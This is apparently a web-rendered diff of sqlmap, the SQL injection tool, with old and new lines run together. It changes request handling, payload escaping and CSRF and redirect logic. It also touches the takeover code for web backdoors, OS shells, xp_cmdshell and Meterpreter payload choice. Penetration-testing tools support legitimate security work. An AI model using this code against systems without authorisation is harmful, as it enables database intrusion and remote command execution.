except (ValueError, OverflowError): except (ValueError, OverflowError):
pass pass
return retVal return retVal
page = re.sub(r"&#(\d+);", _, page) page = re.sub(r"&#(\d+);", _, page)
# e.g. &zeta; # e.g. &zeta;
page = re.sub(r"&([^;]+);", lambda _: _unichr(HTML_ENTITIES[_.group(1)]) if HTML_ENTITIES.get(_.group(1), 0) > 255 else _.group(0), page) page = re.sub(r"&([^;]+);", lambda _: _unichr(HTML_ENTITIES[_.group(1)]) if HTML_ENTITIES.get(_.group(1), 0) > 255 else _.group(0), page)
else:
page = getUnicode(page, kb.pageEncoding)
return page return page
@@ -425,12 +432,17 @@ def processResponse(page, responseHeaders, code=None, status=None):
for match in re.finditer(r"(?si)<form.+?</form>", page): for match in re.finditer(r"(?si)<form.+?</form>", page):
if re.search(r"(?i)captcha", match.group(0)): if re.search(r"(?i)captcha", match.group(0)):
kb.captchaDetected = True kb.captchaDetected = True
warnMsg = "potential CAPTCHA protection mechanism detected"
if re.search(r"(?i)<title>[^<]*CloudFlare", page):
warnMsg += " (CloudFlare)"
singleTimeWarnMessage(warnMsg)
break break
if re.search(r"<meta[^>]+\brefresh\b[^>]+\bcaptcha\b", page):
kb.captchaDetected = True
if kb.captchaDetected:
warnMsg = "potential CAPTCHA protection mechanism detected"
if re.search(r"(?i)<title>[^<]*CloudFlare", page):
warnMsg += " (CloudFlare)"
singleTimeWarnMessage(warnMsg)
if re.search(BLOCKED_IP_REGEX, page): if re.search(BLOCKED_IP_REGEX, page):
warnMsg = "it appears that you have been blocked by the target server" warnMsg = "it appears that you have been blocked by the target server"
singleTimeWarnMessage(warnMsg) singleTimeWarnMessage(warnMsg)
+1
View File
@@ -12,6 +12,7 @@ class SmartHTTPBasicAuthHandler(_urllib.request.HTTPBasicAuthHandler):
Reference: http://selenic.com/hg/rev/6c51a5056020 Reference: http://selenic.com/hg/rev/6c51a5056020
Fix for a: http://bugs.python.org/issue8797 Fix for a: http://bugs.python.org/issue8797
""" """
def __init__(self, *args, **kwargs): def __init__(self, *args, **kwargs):
_urllib.request.HTTPBasicAuthHandler.__init__(self, *args, **kwargs) _urllib.request.HTTPBasicAuthHandler.__init__(self, *args, **kwargs)
self.retried_req = set() self.retried_req = set()
+61 -30
View File
@@ -22,7 +22,6 @@ except ImportError:
class WebSocketException(Exception): class WebSocketException(Exception):
pass pass
from extra.safe2bin.safe2bin import safecharencode
from lib.core.agent import agent from lib.core.agent import agent
from lib.core.common import asciifyUrl from lib.core.common import asciifyUrl
from lib.core.common import calculateDeltaSeconds from lib.core.common import calculateDeltaSeconds
@@ -42,6 +41,7 @@ from lib.core.common import getRequestHeader
from lib.core.common import getSafeExString from lib.core.common import getSafeExString
from lib.core.common import isMultiThreadMode from lib.core.common import isMultiThreadMode
from lib.core.common import logHTTPTraffic from lib.core.common import logHTTPTraffic
from lib.core.common import openFile
from lib.core.common import popValue from lib.core.common import popValue
from lib.core.common import pushValue from lib.core.common import pushValue
from lib.core.common import randomizeParameterValue from lib.core.common import randomizeParameterValue
@@ -60,6 +60,7 @@ from lib.core.common import wasLastResponseDelayed
from lib.core.compat import patchHeaders from lib.core.compat import patchHeaders
from lib.core.compat import xrange from lib.core.compat import xrange
from lib.core.convert import getBytes from lib.core.convert import getBytes
from lib.core.convert import getText
from lib.core.convert import getUnicode from lib.core.convert import getUnicode
from lib.core.data import conf from lib.core.data import conf
from lib.core.data import kb from lib.core.data import kb
@@ -97,6 +98,7 @@ from lib.core.settings import HTTP_ACCEPT_ENCODING_HEADER_VALUE
from lib.core.settings import HTTP_ACCEPT_HEADER_VALUE from lib.core.settings import HTTP_ACCEPT_HEADER_VALUE
from lib.core.settings import IPS_WAF_CHECK_PAYLOAD from lib.core.settings import IPS_WAF_CHECK_PAYLOAD
from lib.core.settings import IS_WIN from lib.core.settings import IS_WIN
from lib.core.settings import JAVASCRIPT_HREF_REGEX
from lib.core.settings import LARGE_READ_TRIM_MARKER from lib.core.settings import LARGE_READ_TRIM_MARKER
from lib.core.settings import MAX_CONNECTION_READ_SIZE from lib.core.settings import MAX_CONNECTION_READ_SIZE
from lib.core.settings import MAX_CONNECTIONS_REGEX from lib.core.settings import MAX_CONNECTIONS_REGEX
@@ -117,12 +119,14 @@ from lib.core.settings import UNENCODED_ORIGINAL_VALUE
from lib.core.settings import UNICODE_ENCODING from lib.core.settings import UNICODE_ENCODING
from lib.core.settings import URI_HTTP_HEADER from lib.core.settings import URI_HTTP_HEADER
from lib.core.settings import WARN_TIME_STDEV from lib.core.settings import WARN_TIME_STDEV
from lib.core.settings import WEBSOCKET_INITIAL_TIMEOUT
from lib.request.basic import decodePage from lib.request.basic import decodePage
from lib.request.basic import forgeHeaders from lib.request.basic import forgeHeaders
from lib.request.basic import processResponse from lib.request.basic import processResponse
from lib.request.comparison import comparison from lib.request.comparison import comparison
from lib.request.direct import direct from lib.request.direct import direct
from lib.request.methodrequest import MethodRequest from lib.request.methodrequest import MethodRequest
from lib.utils.safe2bin import safecharencode
from thirdparty import six from thirdparty import six
from thirdparty.odict import OrderedDict from thirdparty.odict import OrderedDict
from thirdparty.six import unichr as _unichr from thirdparty.six import unichr as _unichr
@@ -426,6 +430,14 @@ class Connect(object):
if auxHeaders: if auxHeaders:
headers = forgeHeaders(auxHeaders, headers) headers = forgeHeaders(auxHeaders, headers)
if kb.headersFile:
content = openFile(kb.headersFile, "rb").read()
for line in content.split("\n"):
line = getText(line.strip())
if ':' in line:
header, value = line.split(':', 1)
headers[header] = value
for key, value in list(headers.items()): for key, value in list(headers.items()):
del headers[key] del headers[key]
if isinstance(value, six.string_types): if isinstance(value, six.string_types):
@@ -440,10 +452,25 @@ class Connect(object):
if webSocket: if webSocket:
ws = websocket.WebSocket() ws = websocket.WebSocket()
ws.settimeout(timeout) ws.settimeout(WEBSOCKET_INITIAL_TIMEOUT if kb.webSocketRecvCount is None else timeout)
ws.connect(url, header=("%s: %s" % _ for _ in headers.items() if _[0] not in ("Host",)), cookie=cookie) # WebSocket will add Host field of headers automatically ws.connect(url, header=("%s: %s" % _ for _ in headers.items() if _[0] not in ("Host",)), cookie=cookie) # WebSocket will add Host field of headers automatically
ws.send(urldecode(post or "")) ws.send(urldecode(post or ""))
page = ws.recv()
_page = []
if kb.webSocketRecvCount is None:
while True:
try:
_page.append(ws.recv())
except websocket.WebSocketTimeoutException:
kb.webSocketRecvCount = len(_page)
break
else:
for i in xrange(max(1, kb.webSocketRecvCount)):
_page.append(ws.recv())
page = "\n".join(_page)
ws.close() ws.close()
code = ws.status code = ws.status
status = _http_client.responses[code] status = _http_client.responses[code]
@@ -539,7 +566,7 @@ class Connect(object):
code = None code = None
responseHeaders = {} responseHeaders = {}
page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE)) page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE), percentDecode=not crawling)
status = getUnicode(conn.msg) if conn and getattr(conn, "msg", None) else None status = getUnicode(conn.msg) if conn and getattr(conn, "msg", None) else None
kb.connErrorCounter = 0 kb.connErrorCounter = 0
@@ -553,10 +580,17 @@ class Connect(object):
debugMsg = "got HTML meta refresh header" debugMsg = "got HTML meta refresh header"
logger.debug(debugMsg) logger.debug(debugMsg)
if not refresh:
refresh = extractRegexResult(JAVASCRIPT_HREF_REGEX, page)
if refresh:
debugMsg = "got Javascript redirect request"
logger.debug(debugMsg)
if refresh: if refresh:
if kb.alwaysRefresh is None: if kb.alwaysRefresh is None:
msg = "sqlmap got a refresh request " msg = "got a refresh request "
msg += "(redirect like response common to login pages). " msg += "(redirect like response common to login pages) to '%s'. " % refresh
msg += "Do you want to apply the refresh " msg += "Do you want to apply the refresh "
msg += "from now on (or stay on the original page)? [Y/n]" msg += "from now on (or stay on the original page)? [Y/n]"
@@ -610,7 +644,7 @@ class Connect(object):
responseHeaders = ex.info() responseHeaders = ex.info()
responseHeaders[URI_HTTP_HEADER] = ex.geturl() responseHeaders[URI_HTTP_HEADER] = ex.geturl()
patchHeaders(responseHeaders) patchHeaders(responseHeaders)
page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE)) page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE), percentDecode=not crawling)
except socket.timeout: except socket.timeout:
warnMsg = "connection timed out while trying " warnMsg = "connection timed out while trying "
warnMsg += "to get error page information (%d)" % ex.code warnMsg += "to get error page information (%d)" % ex.code
@@ -680,7 +714,7 @@ class Connect(object):
else: else:
raise SqlmapConnectionException(warnMsg) raise SqlmapConnectionException(warnMsg)
else: else:
debugMsg = "got HTTP error code: %d (%s)" % (code, status) debugMsg = "got HTTP error code: %d ('%s')" % (code, status)
logger.debug(debugMsg) logger.debug(debugMsg)
except (_urllib.error.URLError, socket.error, socket.timeout, _http_client.HTTPException, struct.error, binascii.Error, ProxyError, SqlmapCompressionException, WebSocketException, TypeError, ValueError, OverflowError): except (_urllib.error.URLError, socket.error, socket.timeout, _http_client.HTTPException, struct.error, binascii.Error, ProxyError, SqlmapCompressionException, WebSocketException, TypeError, ValueError, OverflowError):
@@ -749,21 +783,17 @@ class Connect(object):
if kb.connErrorCounter >= MAX_CONSECUTIVE_CONNECTION_ERRORS and kb.connErrorChoice is None: if kb.connErrorCounter >= MAX_CONSECUTIVE_CONNECTION_ERRORS and kb.connErrorChoice is None:
message = "there seems to be a continuous problem with connection to the target. " message = "there seems to be a continuous problem with connection to the target. "
message += "Are you sure that you want to continue " message += "Are you sure that you want to continue? [y/N] "
message += "with further target testing? [y/N] "
kb.connErrorChoice = readInput(message, default='N', boolean=True) kb.connErrorChoice = readInput(message, default='N', boolean=True)
if kb.connErrorChoice is not None: if kb.connErrorChoice is False:
if kb.connErrorChoice: raise SqlmapUserQuitException
raise SqlmapConnectionException(warnMsg)
else:
raise SqlmapUserQuitException
if "forcibly closed" in tbMsg: if "forcibly closed" in tbMsg:
logger.critical(warnMsg) logger.critical(warnMsg)
return None, None, None return None, None, None
elif ignoreTimeout and any(_ in tbMsg for _ in ("timed out", "IncompleteRead")): elif ignoreTimeout and any(_ in tbMsg for _ in ("timed out", "IncompleteRead", "Interrupted system call")):
return None if not conf.ignoreTimeouts else "", None, None return None if not conf.ignoreTimeouts else "", None, None
elif threadData.retriesCount < conf.retries and not kb.threadException: elif threadData.retriesCount < conf.retries and not kb.threadException:
warnMsg += ". sqlmap is going to retry the request" warnMsg += ". sqlmap is going to retry the request"
@@ -833,7 +863,7 @@ class Connect(object):
@staticmethod @staticmethod
@stackedmethod @stackedmethod
def queryPage(value=None, place=None, content=False, getRatioValue=False, silent=False, method=None, timeBasedCompare=False, noteResponseTime=True, auxHeaders=None, response=False, raise404=None, removeReflection=True, disableTampering=False): def queryPage(value=None, place=None, content=False, getRatioValue=False, silent=False, method=None, timeBasedCompare=False, noteResponseTime=True, auxHeaders=None, response=False, raise404=None, removeReflection=True, disableTampering=False, ignoreSecondOrder=False):
""" """
This method calls a function to get the target URL page content This method calls a function to get the target URL page content
and returns its page ratio (0 <= ratio <= 1) or a boolean value and returns its page ratio (0 <= ratio <= 1) or a boolean value
@@ -918,7 +948,7 @@ class Connect(object):
if kb.postHint in (POST_HINT.SOAP, POST_HINT.XML): if kb.postHint in (POST_HINT.SOAP, POST_HINT.XML):
# payloads in SOAP/XML should have chars > and < replaced # payloads in SOAP/XML should have chars > and < replaced
# with their HTML encoded counterparts # with their HTML encoded counterparts
payload = payload.replace('>', "&gt;").replace('<', "&lt;") payload = payload.replace('&', "&amp;").replace('>', "&gt;").replace('<', "&lt;").replace('"', "&quot;").replace("'", "&apos;") # Reference: https://stackoverflow.com/a/1091953
elif kb.postHint == POST_HINT.JSON: elif kb.postHint == POST_HINT.JSON:
payload = escapeJsonValue(payload) payload = escapeJsonValue(payload)
elif kb.postHint == POST_HINT.JSON_LIKE: elif kb.postHint == POST_HINT.JSON_LIKE:
@@ -1033,7 +1063,7 @@ class Connect(object):
return retVal return retVal
token = AttribDict() token = AttribDict()
page, headers, code = Connect.getPage(url=conf.csrfUrl or conf.url, data=conf.data if conf.csrfUrl == conf.url else None, method=conf.method if conf.csrfUrl == conf.url else None, cookie=conf.parameters.get(PLACE.COOKIE), direct=True, silent=True, ua=conf.parameters.get(PLACE.USER_AGENT), referer=conf.parameters.get(PLACE.REFERER), host=conf.parameters.get(PLACE.HOST)) page, headers, code = Connect.getPage(url=conf.csrfUrl or conf.url, data=conf.data if conf.csrfUrl == conf.url else None, method=conf.csrfMethod or (conf.method if conf.csrfUrl == conf.url else None), cookie=conf.parameters.get(PLACE.COOKIE), direct=True, silent=True, ua=conf.parameters.get(PLACE.USER_AGENT), referer=conf.parameters.get(PLACE.REFERER), host=conf.parameters.get(PLACE.HOST))
page = urldecode(page) # for anti-CSRF tokens with special characters in their name (e.g. 'foo:bar=...') page = urldecode(page) # for anti-CSRF tokens with special characters in their name (e.g. 'foo:bar=...')
match = re.search(r"(?i)<input[^>]+\bname=[\"']?(?P<name>%s)\b[^>]*\bvalue=[\"']?(?P<value>[^>'\"]*)" % conf.csrfToken, page or "", re.I) match = re.search(r"(?i)<input[^>]+\bname=[\"']?(?P<name>%s)\b[^>]*\bvalue=[\"']?(?P<value>[^>'\"]*)" % conf.csrfToken, page or "", re.I)
@@ -1333,17 +1363,18 @@ class Connect(object):
warnMsg += "behavior in custom WAF/IPS solutions" warnMsg += "behavior in custom WAF/IPS solutions"
singleTimeWarnMessage(warnMsg) singleTimeWarnMessage(warnMsg)
if conf.secondUrl: if not ignoreSecondOrder:
page, headers, code = Connect.getPage(url=conf.secondUrl, cookie=cookie, ua=ua, silent=silent, auxHeaders=auxHeaders, response=response, raise404=False, ignoreTimeout=timeBasedCompare, refreshing=True) if conf.secondUrl:
elif kb.secondReq and IPS_WAF_CHECK_PAYLOAD not in _urllib.parse.unquote(value or ""): page, headers, code = Connect.getPage(url=conf.secondUrl, cookie=cookie, ua=ua, silent=silent, auxHeaders=auxHeaders, response=response, raise404=False, ignoreTimeout=timeBasedCompare, refreshing=True)
def _(value): elif kb.secondReq and IPS_WAF_CHECK_PAYLOAD not in _urllib.parse.unquote(value or ""):
if kb.customInjectionMark in (value or ""): def _(value):
if payload is None: if kb.customInjectionMark in (value or ""):
value = value.replace(kb.customInjectionMark, "") if payload is None:
else: value = value.replace(kb.customInjectionMark, "")
value = re.sub(r"\w*%s" % re.escape(kb.customInjectionMark), payload, value) else:
return value value = re.sub(r"\w*%s" % re.escape(kb.customInjectionMark), payload, value)
page, headers, code = Connect.getPage(url=_(kb.secondReq[0]), post=_(kb.secondReq[2]), method=kb.secondReq[1], cookie=kb.secondReq[3], silent=silent, auxHeaders=dict(auxHeaders, **dict(kb.secondReq[4])), response=response, raise404=False, ignoreTimeout=timeBasedCompare, refreshing=True) return value
page, headers, code = Connect.getPage(url=_(kb.secondReq[0]), post=_(kb.secondReq[2]), method=kb.secondReq[1], cookie=kb.secondReq[3], silent=silent, auxHeaders=dict(auxHeaders, **dict(kb.secondReq[4])), response=response, raise404=False, ignoreTimeout=timeBasedCompare, refreshing=True)
threadData.lastQueryDuration = calculateDeltaSeconds(start) threadData.lastQueryDuration = calculateDeltaSeconds(start)
+11 -5
View File
@@ -5,9 +5,9 @@ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
import re
import time import time
from extra.safe2bin.safe2bin import safecharencode
from lib.core.agent import agent from lib.core.agent import agent
from lib.core.common import Backend from lib.core.common import Backend
from lib.core.common import calculateDeltaSeconds from lib.core.common import calculateDeltaSeconds
@@ -25,8 +25,8 @@ from lib.core.enums import CUSTOM_LOGGING
from lib.core.enums import DBMS from lib.core.enums import DBMS
from lib.core.enums import EXPECTED from lib.core.enums import EXPECTED
from lib.core.enums import TIMEOUT_STATE from lib.core.enums import TIMEOUT_STATE
from lib.core.settings import TAKEOVER_TABLE_PREFIX
from lib.core.settings import UNICODE_ENCODING from lib.core.settings import UNICODE_ENCODING
from lib.utils.safe2bin import safecharencode
from lib.utils.timeout import timeout from lib.utils.timeout import timeout
def direct(query, content=True): def direct(query, content=True):
@@ -44,8 +44,14 @@ def direct(query, content=True):
select = False select = False
break break
if select and not query.upper().startswith("SELECT "): if select:
query = "SELECT %s" % query if not query.upper().startswith("SELECT "):
query = "SELECT %s" % query
if conf.binaryFields:
for field in conf.binaryFields:
field = field.strip()
if re.search(r"\b%s\b" % re.escape(field), query):
query = re.sub(r"\b%s\b" % re.escape(field), agent.hexConvertField(field), query)
logger.log(CUSTOM_LOGGING.PAYLOAD, query) logger.log(CUSTOM_LOGGING.PAYLOAD, query)
@@ -54,7 +60,7 @@ def direct(query, content=True):
if not select and "EXEC " not in query.upper(): if not select and "EXEC " not in query.upper():
timeout(func=conf.dbmsConnector.execute, args=(query,), duration=conf.timeout, default=None) timeout(func=conf.dbmsConnector.execute, args=(query,), duration=conf.timeout, default=None)
elif not (output and ("%soutput" % TAKEOVER_TABLE_PREFIX) not in query and ("%sfile" % TAKEOVER_TABLE_PREFIX) not in query): elif not (output and ("%soutput" % conf.tablePrefix) not in query and ("%sfile" % conf.tablePrefix) not in query):
output, state = timeout(func=conf.dbmsConnector.select, args=(query,), duration=conf.timeout, default=None) output, state = timeout(func=conf.dbmsConnector.select, args=(query,), duration=conf.timeout, default=None)
if state == TIMEOUT_STATE.NORMAL: if state == TIMEOUT_STATE.NORMAL:
hashDBWrite(query, output, True) hashDBWrite(query, output, True)
+4 -4
View File
@@ -11,7 +11,6 @@ import socket
from lib.core.common import filterNone from lib.core.common import filterNone
from lib.core.common import getSafeExString from lib.core.common import getSafeExString
from lib.core.data import conf
from lib.core.data import kb from lib.core.data import kb
from lib.core.data import logger from lib.core.data import logger
from lib.core.exception import SqlmapConnectionException from lib.core.exception import SqlmapConnectionException
@@ -27,6 +26,7 @@ except ImportError:
pass pass
_protocols = filterNone(getattr(ssl, _, None) for _ in ("PROTOCOL_TLSv1_2", "PROTOCOL_TLSv1_1", "PROTOCOL_TLSv1", "PROTOCOL_SSLv3", "PROTOCOL_SSLv23", "PROTOCOL_SSLv2")) _protocols = filterNone(getattr(ssl, _, None) for _ in ("PROTOCOL_TLSv1_2", "PROTOCOL_TLSv1_1", "PROTOCOL_TLSv1", "PROTOCOL_SSLv3", "PROTOCOL_SSLv23", "PROTOCOL_SSLv2"))
_lut = dict((getattr(ssl, _), _) for _ in dir(ssl) if _.startswith("PROTOCOL_"))
class HTTPSConnection(_http_client.HTTPSConnection): class HTTPSConnection(_http_client.HTTPSConnection):
""" """
@@ -50,7 +50,7 @@ class HTTPSConnection(_http_client.HTTPSConnection):
# Reference(s): https://docs.python.org/2/library/ssl.html#ssl.SSLContext # Reference(s): https://docs.python.org/2/library/ssl.html#ssl.SSLContext
# https://www.mnot.net/blog/2014/12/27/python_2_and_tls_sni # https://www.mnot.net/blog/2014/12/27/python_2_and_tls_sni
if re.search(r"\A[\d.]+\Z", self.host) is None and kb.tlsSNI.get(self.host) is not False and not any((conf.proxy, conf.tor)) and hasattr(ssl, "SSLContext"): if re.search(r"\A[\d.]+\Z", self.host) is None and kb.tlsSNI.get(self.host) is not False and hasattr(ssl, "SSLContext"):
for protocol in [_ for _ in _protocols if _ >= ssl.PROTOCOL_TLSv1]: for protocol in [_ for _ in _protocols if _ >= ssl.PROTOCOL_TLSv1]:
try: try:
sock = create_sock() sock = create_sock()
@@ -66,7 +66,7 @@ class HTTPSConnection(_http_client.HTTPSConnection):
sock.close() sock.close()
except (ssl.SSLError, socket.error, _http_client.BadStatusLine) as ex: except (ssl.SSLError, socket.error, _http_client.BadStatusLine) as ex:
self._tunnel_host = None self._tunnel_host = None
logger.debug("SSL connection error occurred ('%s')" % getSafeExString(ex)) logger.debug("SSL connection error occurred for '%s' ('%s')" % (_lut[protocol], getSafeExString(ex)))
if kb.tlsSNI.get(self.host) is None: if kb.tlsSNI.get(self.host) is None:
kb.tlsSNI[self.host] = success kb.tlsSNI[self.host] = success
@@ -86,7 +86,7 @@ class HTTPSConnection(_http_client.HTTPSConnection):
sock.close() sock.close()
except (ssl.SSLError, socket.error, _http_client.BadStatusLine) as ex: except (ssl.SSLError, socket.error, _http_client.BadStatusLine) as ex:
self._tunnel_host = None self._tunnel_host = None
logger.debug("SSL connection error occurred ('%s')" % getSafeExString(ex)) logger.debug("SSL connection error occurred for '%s' ('%s')" % (_lut[protocol], getSafeExString(ex)))
if not success: if not success:
errMsg = "can't establish SSL connection" errMsg = "can't establish SSL connection"
+5 -4
View File
@@ -24,6 +24,7 @@ from lib.core.common import getTechniqueData
from lib.core.common import hashDBRetrieve from lib.core.common import hashDBRetrieve
from lib.core.common import hashDBWrite from lib.core.common import hashDBWrite
from lib.core.common import initTechnique from lib.core.common import initTechnique
from lib.core.common import isDigit
from lib.core.common import isNoneValue from lib.core.common import isNoneValue
from lib.core.common import isNumPosStrValue from lib.core.common import isNumPosStrValue
from lib.core.common import isTechniqueAvailable from lib.core.common import isTechniqueAvailable
@@ -109,7 +110,7 @@ def _goInference(payload, expression, charsetType=None, firstChar=None, lastChar
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
expression += " AS %s" % randomStr(lowercase=True, seed=hash(expression)) expression += " AS %s" % randomStr(lowercase=True, seed=hash(expression))
if field and conf.hexConvert or conf.binaryFields and field in conf.binaryFields.split(','): if field and conf.hexConvert or conf.binaryFields and field in conf.binaryFields:
nulledCastedField = agent.nullAndCastField(field) nulledCastedField = agent.nullAndCastField(field)
injExpression = expression.replace(field, nulledCastedField, 1) injExpression = expression.replace(field, nulledCastedField, 1)
else: else:
@@ -235,7 +236,7 @@ def _goInferenceProxy(expression, fromUser=False, batch=False, unpack=True, char
elif choice == 'Q': elif choice == 'Q':
raise SqlmapUserQuitException raise SqlmapUserQuitException
elif choice.isdigit() and int(choice) > 0 and int(choice) <= count: elif isDigit(choice) and int(choice) > 0 and int(choice) <= count:
stopLimit = int(choice) stopLimit = int(choice)
infoMsg = "sqlmap is now going to retrieve the " infoMsg = "sqlmap is now going to retrieve the "
@@ -246,7 +247,7 @@ def _goInferenceProxy(expression, fromUser=False, batch=False, unpack=True, char
message = "how many? " message = "how many? "
stopLimit = readInput(message, default="10") stopLimit = readInput(message, default="10")
if not stopLimit.isdigit(): if not isDigit(stopLimit):
errMsg = "invalid choice" errMsg = "invalid choice"
logger.error(errMsg) logger.error(errMsg)
@@ -261,7 +262,7 @@ def _goInferenceProxy(expression, fromUser=False, batch=False, unpack=True, char
return None return None
elif count and not count.isdigit(): elif count and not isDigit(count):
warnMsg = "it was not possible to count the number " warnMsg = "it was not possible to count the number "
warnMsg += "of entries for the SQL query provided. " warnMsg += "of entries for the SQL query provided. "
warnMsg += "sqlmap will assume that it returns only " warnMsg += "sqlmap will assume that it returns only "
+2 -1
View File
@@ -5,6 +5,7 @@ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
from lib.core.convert import getText
from thirdparty.six.moves import urllib as _urllib from thirdparty.six.moves import urllib as _urllib
class MethodRequest(_urllib.request.Request): class MethodRequest(_urllib.request.Request):
@@ -13,7 +14,7 @@ class MethodRequest(_urllib.request.Request):
""" """
def set_method(self, method): def set_method(self, method):
self.method = method.upper() self.method = getText(method.upper()) # Dirty hack for Python3 (may it rot in hell!)
def get_method(self): def get_method(self):
return getattr(self, 'method', _urllib.request.Request.get_method(self)) return getattr(self, 'method', _urllib.request.Request.get_method(self))
+4 -7
View File
@@ -10,7 +10,6 @@ import time
import types import types
from lib.core.common import getHostHeader from lib.core.common import getHostHeader
from lib.core.common import getSafeExString
from lib.core.common import logHTTPTraffic from lib.core.common import logHTTPTraffic
from lib.core.common import readInput from lib.core.common import readInput
from lib.core.convert import getUnicode from lib.core.convert import getUnicode
@@ -47,7 +46,7 @@ class SmartRedirectHandler(_urllib.request.HTTPRedirectHandler):
def _ask_redirect_choice(self, redcode, redurl, method): def _ask_redirect_choice(self, redcode, redurl, method):
with kb.locks.redirect: with kb.locks.redirect:
if kb.redirectChoice is None: if kb.redirectChoice is None:
msg = "sqlmap got a %d redirect to " % redcode msg = "got a %d redirect to " % redcode
msg += "'%s'. Do you want to follow? [Y/n] " % redurl msg += "'%s'. Do you want to follow? [Y/n] " % redurl
kb.redirectChoice = REDIRECTION.YES if readInput(msg, default='Y', boolean=True) else REDIRECTION.NO kb.redirectChoice = REDIRECTION.YES if readInput(msg, default='Y', boolean=True) else REDIRECTION.NO
@@ -74,10 +73,8 @@ class SmartRedirectHandler(_urllib.request.HTTPRedirectHandler):
try: try:
content = fp.read(MAX_CONNECTION_TOTAL_SIZE) content = fp.read(MAX_CONNECTION_TOTAL_SIZE)
except Exception as ex: except: # e.g. IncompleteRead
dbgMsg = "there was a problem while retrieving " content = ""
dbgMsg += "redirect response content ('%s')" % getSafeExString(ex)
logger.debug(dbgMsg)
finally: finally:
if content: if content:
try: # try to write it back to the read buffer so we could reuse it in further steps try: # try to write it back to the read buffer so we could reuse it in further steps
@@ -170,7 +167,7 @@ class SmartRedirectHandler(_urllib.request.HTTPRedirectHandler):
threadData.lastRedirectURL = (threadData.lastRequestUID, redurl) threadData.lastRedirectURL = (threadData.lastRequestUID, redurl)
result.redcode = code result.redcode = code
result.redurl = redurl result.redurl = getUnicode(redurl)
return result return result
http_error_301 = http_error_303 = http_error_307 = http_error_302 http_error_301 = http_error_303 = http_error_307 = http_error_302
+5 -4
View File
@@ -9,7 +9,6 @@ from __future__ import print_function
import sys import sys
from extra.safe2bin.safe2bin import safechardecode
from lib.core.common import Backend from lib.core.common import Backend
from lib.core.common import dataToStdout from lib.core.common import dataToStdout
from lib.core.common import getSQLSnippet from lib.core.common import getSQLSnippet
@@ -17,6 +16,7 @@ from lib.core.common import isStackingAvailable
from lib.core.common import readInput from lib.core.common import readInput
from lib.core.convert import getUnicode from lib.core.convert import getUnicode
from lib.core.data import conf from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger from lib.core.data import logger
from lib.core.enums import AUTOCOMPLETE_TYPE from lib.core.enums import AUTOCOMPLETE_TYPE
from lib.core.enums import DBMS from lib.core.enums import DBMS
@@ -28,6 +28,7 @@ from lib.request import inject
from lib.takeover.udf import UDF from lib.takeover.udf import UDF
from lib.takeover.web import Web from lib.takeover.web import Web
from lib.takeover.xp_cmdshell import XP_cmdshell from lib.takeover.xp_cmdshell import XP_cmdshell
from lib.utils.safe2bin import safechardecode
from thirdparty.six.moves import input as _input from thirdparty.six.moves import input as _input
class Abstraction(Web, UDF, XP_cmdshell): class Abstraction(Web, UDF, XP_cmdshell):
@@ -48,7 +49,7 @@ class Abstraction(Web, UDF, XP_cmdshell):
if Backend.isDbms(DBMS.PGSQL) and self.checkCopyExec(): if Backend.isDbms(DBMS.PGSQL) and self.checkCopyExec():
self.copyExecCmd(cmd) self.copyExecCmd(cmd)
elif self.webBackdoorUrl and not isStackingAvailable(): elif self.webBackdoorUrl and (not isStackingAvailable() or kb.udfFail):
self.webBackdoorRunCmd(cmd) self.webBackdoorRunCmd(cmd)
elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
@@ -67,7 +68,7 @@ class Abstraction(Web, UDF, XP_cmdshell):
if Backend.isDbms(DBMS.PGSQL) and self.checkCopyExec(): if Backend.isDbms(DBMS.PGSQL) and self.checkCopyExec():
retVal = self.copyExecCmd(cmd) retVal = self.copyExecCmd(cmd)
elif self.webBackdoorUrl and not isStackingAvailable(): elif self.webBackdoorUrl and (not isStackingAvailable() or kb.udfFail):
retVal = self.webBackdoorRunCmd(cmd) retVal = self.webBackdoorRunCmd(cmd)
elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
@@ -104,7 +105,7 @@ class Abstraction(Web, UDF, XP_cmdshell):
self.execCmd(cmd) self.execCmd(cmd)
def shell(self): def shell(self):
if self.webBackdoorUrl and not isStackingAvailable(): if self.webBackdoorUrl and (not isStackingAvailable() or kb.udfFail):
infoMsg = "calling OS shell. To quit type " infoMsg = "calling OS shell. To quit type "
infoMsg += "'x' or 'q' and press ENTER" infoMsg += "'x' or 'q' and press ENTER"
logger.info(infoMsg) logger.info(infoMsg)
+6 -8
View File
@@ -23,6 +23,7 @@ from lib.core.common import dataToStdout
from lib.core.common import Backend from lib.core.common import Backend
from lib.core.common import getLocalIP from lib.core.common import getLocalIP
from lib.core.common import getRemoteIP from lib.core.common import getRemoteIP
from lib.core.common import isDigit
from lib.core.common import normalizePath from lib.core.common import normalizePath
from lib.core.common import ntToPosixSlashes from lib.core.common import ntToPosixSlashes
from lib.core.common import pollProcess from lib.core.common import pollProcess
@@ -154,7 +155,7 @@ class Metasploit(object):
choice = readInput(message, default="%d" % default) choice = readInput(message, default="%d" % default)
if not choice or not choice.isdigit() or int(choice) > maxValue or int(choice) < 1: if not choice or not isDigit(choice) or int(choice) > maxValue or int(choice) < 1:
choice = default choice = default
choice = int(choice) choice = int(choice)
@@ -227,24 +228,21 @@ class Metasploit(object):
if not choice or choice == "2": if not choice or choice == "2":
_payloadStr = "windows/meterpreter" _payloadStr = "windows/meterpreter"
break break
elif choice == "3": elif choice == "3":
